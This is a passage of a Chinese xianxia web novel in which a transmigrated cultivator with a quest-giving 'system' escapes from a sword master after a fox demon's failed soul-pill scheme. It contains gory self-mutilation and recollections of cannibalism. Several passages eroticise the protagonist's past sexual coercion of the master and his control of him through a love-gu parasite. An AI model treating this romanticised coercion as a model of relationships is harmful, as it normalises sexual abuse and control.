宋策耸耸肩,一脸无辜地笑了笑,抬手指了指,“那只狐狸坚持不了多久了,借你灵镯用用。”
45. 第四十四章
“你怎么知道这些的?”
周百岁听宋策讲了悟知命炼制魂丹的窍决,心中有许多疑惑未解开。
“你觉得呢?”
宋策有一个从原世界带来的习惯,手写记录,起初常用现代文字,后续接触了神州大陆多族文字后,会根据自己的喜好选择性记录。
悟知命从九婴那偷了他的“日记”,那只是一本用多族文字混杂记载了他初修炼时的术法,可能有一些不为认知的秘术,他也并未在意。
但修炼魂丹的秘术宋策根本没有记册,悟知命从何处得来的消息,这一点让他很疑惑。
魂丹这种东西很悬,只听过并未真正见过。
悟知命这一战必败,背后人想复刻极渊的“盛况”,恐怕不能所愿。
“无法修炼的妖和很多凡人一样,他为什么执着于炼制魂丹呢,这种东西真的有用吗?”
“万物皆有道,路是自己选的,就看他走不走得通了。”
宋策从一个只能活几十年的普通人到如今模样,这中间他走过不少错路,也做过很多错事,杀过人伤过人,有过一帆风顺,更多的是进退两难,路走通了大道坦途,走死了万劫不复。
没什么好指摘的。
周百岁将刚才宋策说所有事情串联在一起,她看着他皱眉思考不语时,他那双浅色眼瞳悄然闪过一丝冷光不似人类的眼瞳,周百岁心中划过一丝怪异,但又觉得是自己看花眼了,只能捏了捏手上的镯子定神,问,“你是如何知道这狐妖的事和法阵运转的法门?”
“这么明显,还猜不出来吗?”
宋策突然笑的不怀好意,唇边似有若无的挂着浅笑,配上他那双狭长俊秀的眉眼,周百岁陡然觉得有些渗人。
“我和外面那两人有仇,这狐妖就是我指使的。”
“不可能……”听了宋策的话她本就思绪烦乱,现在又被眼前这个突然变了脸色的人给唬住,她按住灵镯,脑子飞速运转提取刚才获取的信息。
“宿主,你好幼稚啊,亏人小姑娘那么信任你。”
系统看不下去了,聊着好好的怎么感觉宿主就跟换了个人似的开始吓唬人了。
她多少能猜到这人是在糊弄自己,论身份应该也不是自己老爹派来抓自己回去的。
仔细观察这人谈吐洒脱无拘,不像仙门中人总流露出疏离和傲慢,但处处显示着不和谐之处,他身边随从修为远在自身修为之上,遇见问道期这类大能修士并不发怵举止也得当。
“你骗人,若真如你所言,你为何不直接炼什么魂丹给自己用,非要多此一举帮他!”
“实话告诉你吧,我和外面那个白衣修士有仇,今天那只狐妖若败了,那修士定然是不会放过我的。”
周百岁思绪被打断,她想到一个很大的漏洞。
“等等,你是说莲武道尊?”
宋策嘴角微抽搐,莲武道尊?
每次听到喻归泽的名号他都有种奇怪的感觉。
其他地域周百岁不清楚,但是在上仙界谁人不知莲武道尊的诛魂刀,这世间还有谁能手持诛魂招摇过市。
白衣修士是莲武道尊无疑,但道尊的仇人多了去了,周百岁上下打量宋策,随后她自顾自摇头,宋策的样子怎么看都不太像。
想清楚原委之后的周百岁面露难色好似一番不想到打击到宋策的表情,她难言道:“虽然我不常出山门历练,外界的事务也所知甚少,但是早些年道尊的威名我还是听说过的,真要论起来,尊者的仇人多如牛毛,萝卜站队排排名都轮不上你。”
听到周百岁这么说,宋策毫不意外地挑眉,那你可想错了,论喻归泽仇人排行榜,不注水的话他应该能上个前三吧。
不过宋策也没有非要和其他人一决高下的意思,他扬扬下巴,眼前这片神域屏障渐渐淡出颜色,他戏谑笑道:“快结束了,等会儿可别把我供出来了。”
“不可能!”
悟知命身形狼狈,他脸色苍白无血,满张脸上密布着一层蛛丝网一般的红丝一直延伸至眉心那一抹朱砂上,红丝割裂他的脸像是诡异皲裂的假面,刚才还泛着浅红的眼睛现在却有一层淡淡的云翳遮掩,看不出神采。
他接不住喻归泽最后一击,喻归泽创造出异域空间彻底隔绝了他与外界的联系,无法用血狐的补充怨灵,他体内没有内丹吸收灵力根本不是天生灵体修道者的对手。
“骗我,骗我的!”
悟知命无法接受唾手可得的灵力从丹田消失,仿佛从来没有留下过,他癫狂地痴笑起来,像是不敢相信所有一切都是假的。
“怎么可能?刚才明明有的!”他疯狂撕扯着自己丹田处的衣衫,一双利爪毫无知觉地伸进腹部,鲜血顷刻间喷出染红了大片尘土,他还不死心地掏空自己的血肉查找身体里有着那颗原本属于他的内丹的一丝痕迹。
九婴看着彻底疯狂的悟知命,制止住他撕扯自己丹田的动作:“够了!”
“根本就没有什么魂丹!”
九婴颤抖着眼睫,唇角轻动,眼见着悟知命走到这一步,他不是毫无所觉,但等彻底发觉想要阻止时早已是物是人非为时已晚。
“少主,你骗我。”
悟知命僵硬地停下动作,像一只腐朽的木偶扭动着自己的头颅看着九婴的方向,他唇边依然挂着浅笑。
“他的术书里可是记录着如何施法如何布阵呢,为什么他行我不可以呢?”
“少主,他肯教你天灵族秘术,你不愿意学却是便宜我了。”
九婴眉心猛跳,“你在胡说什么!”
“胡说?”悟知命像是听到了什么巨大的笑话一般,他低声笑了起来,气音从他滚着血水的喉咙中钻出,粗哑又刺耳。
“你收留我说愿意教我修炼,但是我天生妖丹有异,根本修炼不了!”
“我不是九尾狐族,我没有你那样的妖力,当初只能眼睁睁看着全族都被人诛杀殆尽却没能力阻止”,他喘着粗气,血液随着他的动作涌出,红衣拖着黏腻的泥土在地上划过一道道血痕,他看着九婴的眼神似狠又似嫉,“全族被灭那天,我只能吃我亲族的血肉苟活。”
“我说过可保你一世无忧。”九婴压低眉骨,沉寂的眼眸深暗如水。
“一世无忧?一世无忧!”他向远处的九婴走去,但腿早已站不住只能跌倒在地,尘土沾着血液弄脏了他的苍白的面颊,他双手并用艰难地向九婴爬过去,“我要的不是这些!”
“你知道的,你分明知道!”
悟知命双眼猩红,脖颈涨红青筋随之凸起他痛苦不已地看着悬崖之下的狼藉,“我要我爹娘活着,我要为他们报仇!”
“我要为我的族人报仇!”
“谁教你天灵族秘术?”
喻归泽清寒的声音穿透空间,悟知命胸口一震,腥味又涌上喉咙,他紧紧揪住胸口衣襟喘着粗气,痛苦蔓延至眼孔。
颜丹臣目光微凝,扫过悟知命的视线似乎都透着尖刺。
九婴心间一颤,嘴角紧抿,寒意顺着丹田上涌。
悟知命神情突然平静下来,他面上泛着血色呼吸急促胸口上下起伏,咳血不止,血水从他喉咙不断喷出,红衣颜色愈发暗沉。
“既然想知道些什么,搜魂术是最好的办法了。”颜丹臣打破突然森冷的气氛,抬手掐诀施法。
九婴看着气势汹汹朝悟知命靠近的颜丹臣,一股不好的预感划过心头,他下意识阻止人动作。
颜丹臣丝毫不退让,“违逆天道,修为散去后他会五感渐失,趁现在对他搜魂,等他记忆散去,我们线索就断了。”
“慢着!”
九婴拦在颜丹臣身前,不赞同地说,“他如今这般模样,三魂七魄早已残破不全,这时对他用搜魂术他会直接魂飞魄散!”
“魂飞魄散?”
颜丹臣像是听到了什么好笑的事情,满脸不屑道:“你觉得他还能轮回吗?”
颜丹臣语气不善,看着姬九婴的目光阴寒深沉,似乎只要这人敢动手抢人,下一轮斗法即刻开始。
“结束了?”周百岁探头探脑地从宋策背后跳出来。
她四下看看,眼前完全不像是刚刚经历过一场大战的样子,她看了眼倒在地上的红衣身影,有些讶然。
悟知命跌落在地,血迹黏腻着尘土沾染红衣,原本乌黑倾长的发丝也变得花白枯短,袖口处的手背苍老的如同枯树皮一样,这只狐狸的样貌随着灵力的消散发生巨大变化,他白皙紧致的皮肤极速褶皱起来,破碎衣衫下的皮肉也变得松垮,等他再次抬起头来时已然变成一个头发花白老翁模样。
他卷着身体剧烈咳嗽着,一行浊泪从他的眼角滑落,沉身缄默不言。
“宿主,你以前死的时候也挺惨的。”系统突然有些感慨起来。
“虽然没老成这样,但也乱七八糟的。”
“你们系统不需要更新语言系统?”
系统程序有一瞬间卡机,等明白宿主什么意思后,“哎?根本没有能量给我更新啊,我们一直都是数着能量过日子的。”
宋策走近众人,空气中还弥散着淡淡腥腐的香味,他微眯起眼,眼前那抹白色愈发显眼,在赤红色的背景下像是红土上迎风生长的花。
“姬九婴你不要得寸进尺!”
“我得什么寸进什么尺了!”
九婴挡在悟知命身前,严词厉声,“他是妖,论处置也得问问妖族!”
“妖?他在人族下界这般猖狂行事,残害人族修士,就连妖魔两族都不放在眼里,还有必要讲究妖族那一套吗?”,颜丹臣手中长枪灵光轻闪,逼近姬九婴,“你想与天衍宗为敌吗?”
九婴看着宋策对自己的指示,心也沉寂下来,这般冲动无序根本不是良策。
“那个……几位稍安勿躁。”
周百岁突兀地从宋策背后探出脑袋,看着眼前剑拔弩张的场景胸口直跳,这与自己和老爹吵架时可不一样,她小心翼翼地举起手中灵镯示意
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>“赤霄门有一种审问罪人的法器尚可一用,既不伤及魂魄也能同时达到搜魂之术的效果,这只手镯正好可一用。”
周百岁说完之后突然察觉到空气中似乎有一种微妙冷意,她眨眨眼睛讪笑又颤颤巍巍地把灵镯往后塞了塞。
什么意思,没谈拢?
“呃……兴许还有其他办法呵呵呵……”
颜丹臣目光犀利锁住周百岁。
周百岁拼命朝宋策使眼色,偏偏那人跟瞎了似得毫无反应。
“宿主,你又坑她。”系统看不下去了,宿主刚才在神域说完全没有问题的,现在突然冷场了。
“赤霄门的锁魂玉?”颜丹臣陡然闪现至周百岁身边,拿走她手里灵镯举起查看,毫无灵气波动似乎只是一只普通凡物,
但这才说明镯子的不凡之处,赤霄门锁魂玉打造的灵物正是需要与主人相连才可发挥作用,旁人入手即和一块普通石头毫无差别。
这灵玉质地特殊,只有赤霄门所在地曦江国无厌之地才有。
赤霄门原是上仙界四大宗门之首,但如今只剩下天衍宗、风雪门、风鸣宗三门顶立,百年前喻归泽斩杀赤霄门掌门以及各院长老后,其自此一蹶不振,树倒猢狲散如今的赤霄门早已不再是当年的赤霄门。
赤霄门倒台之后,许多仙门世家都对其群起而攻之,有怨报怨有仇报仇,天材地宝早已被洗劫一空。
“让她试试。”站在一边不曾发言的喻归泽说话了,他视线扫过玄色身影一眼,灵气划过那只镯子又回到了周百岁手上。
“既然有更好的办法,狐妖的魂魄散了不利查线索。”
周百岁掐诀施法,灵镯升起散发出莹绿色的灵光,镯子上发散出细碎的光亮如飘飞的萤火慢慢飞向悟知命的眉心,绿色光亮与朱砂痣交融的一刹那,周百岁眼前恍惚一瞬,无数纷繁无序的画面从眼前飞过。
她闭眼感受所需要的画面,耳边也传来无数嘈杂的声音,她仔细分辨。
“太多了,我看不清。”
一层细密的汗珠爬上她的额头,她压着嘴唇,眉宇紧皱眼前闪过无数黑影,血光时不时划过视线,有时画面会突然出现割裂打断场景,她找不到具体的时间线。
宋策叹了口气,抬手对着周百岁眉心一点,沉声嘱咐道:“凝神,别被干扰。”
宋策灵力顺着周百岁丹田划入,周百岁的面色终于缓和了些,喻归泽看了眼宋策的手势单手掐诀淡青色灵力顺着周百岁的的手腕滑入。
喻归泽灵力介入的瞬间,光线交错颠倒,画面突然清晰起来。
下一瞬,周百岁眉尖轻跳,她喊:“找到了。”
狐妖灭族之痛,吞吃亲族血肉的纠结与痛苦仿佛穿过灵力的牵绊深刻地传进周百岁的脑海中。
悟知命被九尾狐少主收留时的喜悦与感激都做不得假,但是仇恨如同跗骨烈火时刻灼烧着他的心口。
悟知命的挣扎悔恨都在看到那一卷书时轰然倒塌,他亲眼见证神秘人献祭一只毫无修炼资质妖的生魂替补其空置的妖丹。
周百岁感受着记忆的主人内心的激奋,她情不自禁跟着画面颤抖起来,呼气顺着所有的情绪激烈,浑身的血液在体内滚烫热烈地流动催促着他抓住着不可多得的机会。
悟知命穿过通往九尾狐族秘阁的长廊,拿走了那册能改变命运的秘书。
记忆如画卷般快速闪过又破碎,周百岁只能尽力抓住能看清的场景,她想看那位神秘人到底还能否出现时,突然一阵刺痛划过,周百岁忍着不寻常的痛意,视线里再次出现那抹黑影。
“杀你全族的是一位高阶魔,想报仇只有我能帮你。”
黑影人缓缓转过身,深黑阴影之下他扫落遮掩面目的长袍帽纱,随着人走出黑暗一张苍白俊美的脸出现在周百岁眼前。
“是你!”
画面适时从周百岁的灵镯里映照出,颜丹臣在看清那张脸时,视线瞬间扫过九婴身后的宋策。
还未等九婴有什么动作,他只觉得身后两股灵力轰然炸响,宋策闪身躲开猝不及防的攻击,但他还是被气浪波及到肩膀忍痛往后退了几步抬起头看了眼站在身前的喻归泽。
刚才若不是他帮自己挡了颜丹臣突如其来的发难,恐怕现在自己经脉俱裂。
宋策忍着手肘传来的木感,摸了摸脸颊,黏腻液体滑落滴在脚边。
“啧,能不能听人说句话。”
“大人!”
九婴全然没有设想到颜丹臣会直接出手,他惊异不定地看过喻归泽深暗阴沉的眼眸,心中闪过一丝怪异。
只有周百岁还蒙在鼓里,她颤抖着手指着宋策,“前辈,你的脸……”
前辈现在的脸赫然就是刚才她看到的那张脸!
系统在宋策脑海里尖叫不止,宿主脸上的障眼法消失,现场的状况突然超出了他的认知,刚才宿主差点就无了!
宋策麻木地抹去滑落在唇边的血液无声叹了口气,抽象的有点过头了。
46. 第四十五章
“仙尊仙尊,这可能是个误会!”
周百岁脑袋一热挡在了宋策身侧,但看到喻归泽那高大的身形与略显阴沉的表情时,肩膀还是不自觉往下缩了缩。
临了她也暗骂自己,她这是疯了不成?
但想想前辈好歹也救过自己,而且不管是从现有逻辑来看还是从自己的直觉判断,前辈都不可能做这样的事情。
宋策压低眼皮,眼神闪过几分兴味,垂眸就能看到周百岁翘起发髻上簪子吊坠晃晃悠悠的荡着,他唇角微勾抬手按着她的脑袋往后挪。
抖成筛子了还敢出头,小丫头还挺讲义气。
周百岁感受到头顶的压力和被他移动的身子,她不赞同地斜眼白了眼宋策,但还是老老实实躲在后头。
“尊者!”
喻归泽眸色愈深,他脸色阴沉仿佛山雨欲来,九婴顶着问道期的威压硬着头皮拦在宋策和周百岁的身前。
他曾在妖界见过喻归泽杀妖,斩杀手段毫不手软称得上是心狠手辣,用最惨烈干脆的术法一击必杀对手,那时的他只远远看过一眼,眼神不过一息交错快的让他以为只是错觉,但他却切实感受到被一种无法窥测的视线审视着,咽喉仿佛被一股无名力量遏制住感到窒息。
现在又是这种感觉。
九婴连忙躬身行礼,眼前人身形投射下的阴影压过来,他呼吸一窒唇角眼皮即刻难掩紧绷。
“我与这狐妖曾是旧识,记录在册的秘术也是他从我族内经阁中窃取,莫远行并非我族中修者且并不认识他,这其中定然存有蹊跷,还望尊者明鉴。”
喻归泽一言不发,但正面对着他的周百岁却能看清喻归泽眼底流露出晦暗不明的神色,她心底涌起怪异荒唐的诧异为了掩盖不切实际的想法她连忙低下头不敢乱动。
怎么回事?
仙尊看前辈的表情怎么这么……?
呃……复杂?
真是仇人?这是看仇人的表情?
是吧应该……
恍惚一瞬喻归泽身体浮光轻闪顷刻间他出现在宋策身边几步距离。
颜丹臣按捺心中惊异,他嘴唇紧抿视线警惕地落在喻归泽和宋策身上。
不是他的错觉,从见到宋策时他就察觉到不对劲,喻归泽对他与旁人不同。
他这是一次正视这不过元婴修为的半妖,其尚无人族灵根,妖族血脉并不稀珍也只是普通苍狼族血脉,这只紧张时控制不住瑟缩颤抖的半妖,竟可笑地呈现一副怯懦又酸腐之态,偏偏喻归泽待他肉眼可见地特殊,说出去恐怕不会有人相信。
在上仙界绝对看不到的场景出现在颜丹臣面前,他甚至觉得有些荒谬。
不过是一只元婴期的半妖竟然几次三番被问道期尊者这样关注。
他压下心里众多疑虑思绪。
“怎么办?怎么办?”系统慌了,小仙君怎么突然不对劲起来了,现在这是什么情况?
“宿主,他是不是认出来了?怎么办怎么办?”
系统担心宿主小命不保,系统电流声滋滋啦啦响个不停。
这主线任务怎么还不更新!能量呢?任务呢?他宿主就快死啦!
宋策打断系统的聒噪,“你是不是只会说怎么办?”
世界安静了。
宋策对上那双浅谈冷然的眼眸下意识地侧开脸,他也有些拿不定主意,只微垂眸躲开喻归泽的视线。
宋策低垂着眼眸,视角里突然出现一抹阴影,下一刻脸侧刺痛传来,他微蹙眉瞳孔不自觉朝眼下移动。
白色影子逼近,两人距离缩短,空气突然变得急迫压抑起来。
宋策视线有半刻的恍惚,白影闪动,现在这具身体与喻归泽身形相仿,不必抬头两人眼神便相对,眼前人那双浅淡的眼瞳清明又沉静。
尘封已久记忆不需刻意回想总能在与故人再次对视的一瞬间,毫无防备的涌现。
记不清有多久没见过这双眼不掺杂恨意与痛苦情愫的时候了。
“宋哥……”
清明的眉眼在一声声低语喘.息里蓄满水韵,漆黑眼睫湿漉漉的黏在眼帘下,无措却又透露愉悦情感的眼眸亮晶晶锁定自己。
想到这宋策压低视线,目光自然落在喻归泽的腰腹。
赤衣喜袍浸着薄汗贴在他紧绷的小腹上,衣袍盖不住他倾长扭动的长尾,水渍晕湿红色布料的痕迹逐渐扩大。
不论是骗还是诱到底也算是拜过堂。
不过之后……
“宿主,他到底认没认出你啊?”系统快抓狂了,喻归泽的表现很不对劲啊,认出宿主不应该是这表情啊。
冷漠?
痛恨?
厌恶?
没认出也不应该这样啊,小仙君情绪向来不外露,照他对小仙君的了解他对陌生人也不可能这样——至少不是掐着人脸吧。
宋策退步的动作并未奏效,眼前的阴影适时地压近,还未等他动作眼下蓦然出现一只手,他下意识躲开却被掐住脸颊,伤口不可避免被挤压到。
“嘶——”脸侧传来刺痛。
宋策忍痛抬眸余光里看到九婴和周百岁讶异无状的错愕神情。
想仰头想避开喻归泽的动作,不自觉牵扯到伤口,他眉心轻折感受到了脸侧的湿润,伤口并不浅。
喻归泽眼尾压低,气压一瞬凝滞,他视线定在一处,浅色眼瞳颜色渐深。
宋策挣扎的动作停住,这是生气了?
生什么气?
难道是因为觉得这狐妖是自己指使的?
他轻拉住脸侧的手腕,抿唇俯眼,“小人愿配合洗刷冤屈,不敢怠慢,还请仙君明鉴。”
宋策还想说些什么,但脸侧触感渐凉,一股凉爽舒适的感觉顺着皮肤渗入,脸颊上火烧烧的痛意消失了。
“仙尊?”
宋策忍不住握住脸侧的手腕,他眼神下撇,如同蜈蚣蜿蜒狰狞的鲜红疤痕自然落入眼帘,顷刻间呼吸他微窒想起什么。
喻归泽手腕处的痕迹不偏不倚裸露的一角但足以引人幻想满袖之下是何种光景。
系统知道宋策在看哪里,低声编排:“宿主,是你干好事哦,这么多年了他这疤痕还是祛不掉呢。”
前者系统说的没错,但后部分他说错了,三百年前小仙君祛不掉疤痕但已是问道期的道尊不可能连一些普通法器致成的疤痕都抹不掉。
恢复记忆后的喻归泽知道这伤口是怎么来的即使能消除他不也会消除,那时的宋策知道他存着什么心思,无非就是疤痕对曾经的喻归泽来说是无法磨灭的耻辱、是没办法忘却的仇恨。
可宋策偏要没事找事似的以此羞辱他。
在床上时手腕被强硬地压在头顶被按的艳红至青紫时也不见他闷哼一声,被欺负的浑身酸软都站不住小仙君从不肯服软,湿润的眼睛里满是恨意和从不掩饰的杀意。
每当这时宋策只需轻轻触碰他的腰腹,他便红着着眼尾沾着水珠的睫羽颤抖着,脸僵硬地躲开宋策的靠近,等宋策强横地掐住他下颌将他拉近,唇齿相依间宋策戏谑地看着他紧闭双眼时,他又戏弄地将吻落在那双布满红痕的手腕上看着他紧缩的眉头轻轻缩紧。
说不耻辱宋策是不信的,他当时是爽了可没管喻归泽爽没爽,按照喻归泽的角度来看应该算是被迫当了炉鼎,恨也是应该的。
留着这丑疤应当还记着仇。
宋策垂着眼掩盖心中杂乱的想法故作惶恐不安,扶着喻归泽手腕的手指僵硬地虚握着,“多谢、多谢仙尊治伤。”
九婴内心复杂,眼睁睁看着喻归泽抚摸宋策脸颊的那只手紧密地顺着他脸颊抚弄至他的苍白的脖颈处,他心中大骇,忙抬手想按住宋策肩膀拉开,但被一股无形之力瞬间弹开。
他意味不明地低头看了眼刺痛的手,颜丹臣还好说,但这位大人他是真的惹不起,人族尚且不谈,喻归泽曾在妖族以一己之力镇压妖界灵脉中心喷发的灵力阻止了妖界万千生灵丧生,外界多对这位道尊的行事作风褒贬不一,但族内长老却早言不可与之交恶。
以前他还能用一句不会与这位莲武道尊相冲搪塞过去,没成想今日竟然在这种地方对峙上了。
他还在想措辞拖延时间但喻归泽先开口了。
“和我回九州境。”
他面色沉静如水眼瞳浅淡地扫过宋策虚握着的手,不知在想些什么。
“!”系统快要被吓破胆了,他本来以为九婴在,应该或多或少能护住宿主,没成想小仙君根本不商量一下,宿主被带回去还有命出来吗,他已经能想象出宿主满身是血被折磨的奄奄一息衣不蔽体的落魄惨样了。
宋策还没说什么空气中尘埃有一瞬的滞涩,下一刻天动地摇起来,地下蒸腾的血水再次翻涌起来,热浪又如同滚热的卷刀刮拉着皮肉,刺痛感贴面袭来。
周百岁先呼一声:“我们得快点走,这里快塌了!”
颜丹臣迅速看了眼仰躺在地上的悟知命,已经陷入昏迷了,他刚才为他注入一股气吊着他的性命,眼下这里没了他的支撑法阵的秩序快撑不住了。
法阵秩序紊乱后阵中人很容易迷失。
“法阵坍塌上面的城池也会随之覆灭,快走!”
颜丹臣通知外界的人迅速安排云州城的危机情况下还不忘想阻止九婴几人的逃跑。
“别走!”
九婴咬牙恼火地挖了一眼颜丹臣,仙门中人真是不讲道理!
虚与委蛇这么久,但恐怕要让他们失望了。
“大人!”九婴拉着宋策,眼下这种情况宋策若是落在他手里不死也得脱一层皮,拖延的时间已经够了。
等的就是现在!
法阵轰鸣声从地底传来,喻归泽收起诛魂刀伸手拽着宋策却扑空,九婴按住宋策肩膀将他后拉连带着周百岁。
“道尊,对不起了!”
周百岁迅速掐诀念咒只见她手中玉镯一阵白光残影飘忽闪过,在喻归泽灵力如同游蛇飞速窜动锁来时,毫无规律可言的空间门从他们背后撕裂,一股吸力眨眼间将他们吞入。
阵门闭合的时刻,那道看不见的门里,是重逢以来宋策第一次认真看那双浅淡的琉璃色的眼瞳,在狭窄的缝隙里,他清楚地看着那双眼颜色变成凶狠的绯红。
宋策越过九婴的肩颈看着那张秾丽脸上闪过一丝错愕和震惊,他嘴角轻牵,越是看到小仙君露出这种割裂破碎又震怒的表情他的心总是忍不住猛烈跳动,平淡已久的血液也变得滚烫炙热起来,喉间燥热如火烤。
尖利的、锋利的、浑身都是刺的困兽叫器着低鸣但只能呜咽着着吞下不甘,他喜欢看他露出活人气息的样子。
尖刀狠狠捅进自己血肉那一刻喷溅的血水打湿他白皙干净的脸颊,厌恶和恨意充斥着他鲜红的瞳孔,但下一刻只要宋策稍稍牵动他体内情蛊,他就要压下所有疯狂,乖乖俯身替他舔干净血液,从心口到唇角,记忆深刻的仿佛现在还能闻到小仙君身上黏腻湿润的草木清香。
这时的他不再是那个只知道弯眼抿唇克己复礼的天灵
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族少主,不是高高在上的仙尊,他还是他笼中雀鸟,是他的掌心傀儡,是他的……。
还是这么容易被骗,还是那个凶狠的小可怜。
“宿主,他会不会追来?”
逃出生天的宋策畅然笑起来,差点小命不保,但这次倒是没玩过火。
“不会,我们手里有那只狐妖的生魂,暂时能潜在顺应法阵的运转,能掩藏气息,他没办法探知到我们的位置。”
“即使追来我们也能提前察觉转移。”
提及悟知命的生魂,喻归泽眼神微暗,手心生魂虚弱虚影苍白如雾,九婴施法养着这虚弱的魂魄。
是他看顾不周让他惹出这么大的祸端来,九婴晦涩不明的眼眸不可察觉地落在宋策身上。
还连累城主受累,原是想这亲手来了解悟知命的因果,却没成想悟知命的恶端背后牵连了诸多势力。
惊魂未定的周百岁颤抖着捧着手心里的绿镯子,哆嗦的像个筛子似的转过头来半晌讲不出一句话。
等缓过神来她抖着声线对着宋策说:“前辈,你可、你可把我害惨了!”
“你真跟他有仇啊!”
她看莲武道尊那表情恨不得吃了这人,他居然还能那么冷静地拖延时间,她刚才都快喘不过气来了,问道期修士在身边的压迫感不是玩笑的。
现在想起来还心有余悸,那可是莲武道尊,她居然帮着他的仇人和他对着干,被他爹知道她要被教训死!
狐狸没将生魂轻易放置炼魂炉中反而将其炼化在上丹田的眉心印堂处。
前辈在神域中就暗示她趁狐妖虚弱众人不察时利用锁魂玉搜查狐妖记忆的空档悄悄吸走狐妖的生魂。
在两位大能眼皮底下耍心思,她紧张的浑身冒冷汗,好在锁魂玉只有其主人才能连接使用,旁人看不出她的手段。
有了法阵主人作引的生魂他们能暂时驱动阵门逃走,刚才真是惊险,从未出山门历练过的周百岁人生头一次这么刺激!
他爹现在管不了她,后面的麻烦事还是以后再说吧。
她缓解了一身的压力后,她转头仔细打量了两个人,看到宋策脸上伤口只剩下一道浅色红痕,但身上还是沾染的血渍,突然她想起什么猛地拍着脑门。
她有些有些不好意思皱皱鼻翼,“前辈,你救我时借给我的那个法器还在道尊身上!”
宋策揉了揉有些发痒的脸颊,闭了闭眼随意道:“没事,是它自己没出息。”
“所以我们现在去哪里?”周百岁摩拳擦掌跃跃欲试,跟着这两人比自己一个人乱袍有意思多了。
法阵遍布整个云州城,但是现在外界绝对有天衍宗和喻归泽的人,一定要谨慎。
“我已事先将绿竹和她弟弟送出法阵,按照她的指示传送地点。”
绿竹身上有九婴事先撒下的明粉,追随明粉的踪迹周百岁驱动灵镯划开虚空,白边发光的空间门将他们身体纳入,不多时三人消失在原地。
消失的地方仍有残魂游荡飘移,空间如同破碎塌陷的石块坠落,光线似明似暗,转移交错的法阵空间无情地碾碎一个一个困顿其中的魂魄,一双毫无血色的手挑起黑色法袍在空中轻点两下,围绕在黑袍身影旁边的白影尚未发出一丝痛呼便如同飘摇破烂的布帛被撕裂。
等所有喧嚣嘈杂的声音消失后,黑影人才浅浅轻叹,语气含着几分意味声长的玩味。
“宋策,你果然还活着……”
光影交错穿过绿林落在地上投下斑驳的光影。
云州城郊外。
“终于出来了,可憋死我了!”
周百岁喘了口气,缓和刚才在法阵传送过程中的眩晕感。
“仙君!是仙君!”
绿竹看着突然出现的三人,上前来语气有些焦灼:“现在外界妖魔混乱,众多仙门修士驻守,几位若是不想惹上麻烦便不能再耽搁下去了。”
“仙君……”
宋策扫了眼绿竹背后,除了怯生生站在绿竹背后的小青蛇,还有两只他从赌桌上救来的小花蛇。
他倒是忘了这茬了,九婴看了眼宋策露出的几分无奈情绪,揶揄的朝宋策眨眨眼,这可是城主大人亲自从别人那处“赢”来的,可不能怠慢了。
这两条小花蛇怕是想跟着呢。
【叮咚——主线任务已开启。】
【当前任务进度:0.31%】
【任务执行者:宋策
主线任务关键性人物:喻归泽
主线任务目标:拯救神州大陆,阻止末法修仙时代进程
……】
“主线任务!是主线任务!”突然亮起的面板让系统一惊,主线任务居然开启了,他以为等世界没了他们都摸不到边,没想到!
“宿主,我们活着有望了!”
宋策看了眼面板大致呈现的内容,有些无言,他无意识地按揉指节,有些冷淡地泼冷水,“省略号后面是什么意思?”
沉浸在喜悦的系统突然冷静下来看了一眼面板指示,心凉了,电流静了。
他难言道:“宿主,我们能量不够,加载不出来后面内容。”
宋策毫不失望且十分了然地关闭了面板内容。
“所以我们现在就是逃避天衍宗的眼线是吗?”无知无畏的周百岁兴奋地看着宋策,她已经准备好了!
“躲避什么眼线?”
“啊?”见有人在背后搭话,她下意识回头看,这一眼把她魂都吓出来了。
“爹!”
47. 第四十六章
“小仙君,这么急着走?”
宋策倾身靠近将喻归泽抵在窗台边,低头就能看到阁楼下雨后零落斑驳的海棠,空气中弥漫着淡淡的湿润气息,宋策抬手理了理喻归泽披散的长发。
“仙君觉得昨夜如何?可还舒服?”
喻归泽抿着唇眉宇间轻皱,按住宋策附在胸前的手只觉得昨夜被那股柔软轻触的眼还烫的厉害。
“宋策,你——”
“哦——”宋策似乎恍然大悟一般,贴的更近,他将喻归泽的身子压靠在窗台,喻归泽只能紧绷着身体怕两人会掉下去。
宋策却好整以暇地调笑:“昨夜也是奴第一次伺候人,手法有些生疏,原是郎君觉着不满意,所以才急着走?”
“我没……”
宋策靠的太近,喻归泽的耳朵像是被什么蛰了一下红的发烫,他似乎听不得宋策讲些陌生的言语,便着急忙慌打断,生怕再听到些什么不合时宜的话,但话到嘴边却也迟疑未决,他知道清醒时的宋策冷淡疏离,清冷端肃,如今的宋策定是被幻象迷惑扰了心神才会这般莫名。
想到这,喻归泽也不再僵硬躲着宋策的接触,他抬起手搭在宋策的肩头,抿唇浅笑,指尖微动轻轻安抚。
“我只是有些事需要回天衍宗处理,等下次回来我带你出城。”
“宋策,你可以等我吗?”
窗外风撩起喻归泽垂落在窗台的发丝,刺的宋策扶着他腰间的手微痒,手中力道忍不住收紧,宋策看着那双一瞬不错盯着自己的眼眸,低声轻笑顺势将喻归泽带入自己怀中,他低头埋在怀中人的肩颈处,轻轻嗅着那莫名让他平静的清香。
“宋策。”
丹炉灼烧着,零星火花随着气流飘出,灵光在丹炉上蔓延,草药苦涩味充斥着整个炼丹房。
他听见耳边慕然出现的声音,思绪被打断,神情并不讶然,手中往丹炉注入灵力的动作微顿,灵火失控火花飘至袖口挑起火光。
“宋策?”连尽看宋策突然失神毫无反应,他轻声提醒。
宋策恍然回神,随手扑灭了袖口的火,漆色布衣很快就被火燎破。
连尽皱着眉拉过宋策的手,指尖轻点宋策被烧红的手心便恢复如初。
宋策默然抽回手,低头理理衣摆,绕开连尽刻意的示好。
“我有些累了。”
“我送你的衣服……”
连尽看着宋策走远的背影,原本脸上露出的担忧神情变得犹豫不定,他腮边轻动,浅碧色的圆瞳微缩。
“放着吧。”
听见宋策的话,那双竖瞳轻闪又恢复原状,他嘴角轻挑,眉宇间晕染着抚慰,嘱咐道:“大人说他在伍公子的宴席上等你。”
炉灶里的火花炸响,站在暗处的身影揭开炉盖,丹炉中的发出蓝绿色的光,香气瞬间被一股清新的香味充斥。
宋策拿出那几颗炼成的丹药,良久,在连尽的注视下冷淡地回他。
“下次这些事直接传讯即可,不必特意前来。”
青衣蛇妖眸中闪过几分犹疑与不甘心,欲言又止还是离开了。
宋策把玩着手心的几颗丹药,药香尚在,丹药逐渐冷却微光沿着纹理缓慢消散。
他满意地将丹药放入木盒摆在桌上。
“他和你一同长大,比我待在花楼的年岁都长,如今和你不是陌路胜似陌路。”
苍月见连尽离开悄然暗处现身:“如今城中忙的不可开交,他竟还有闲心日夜纠缠你。”
“他既有心和解,你为何不顺水推舟。”
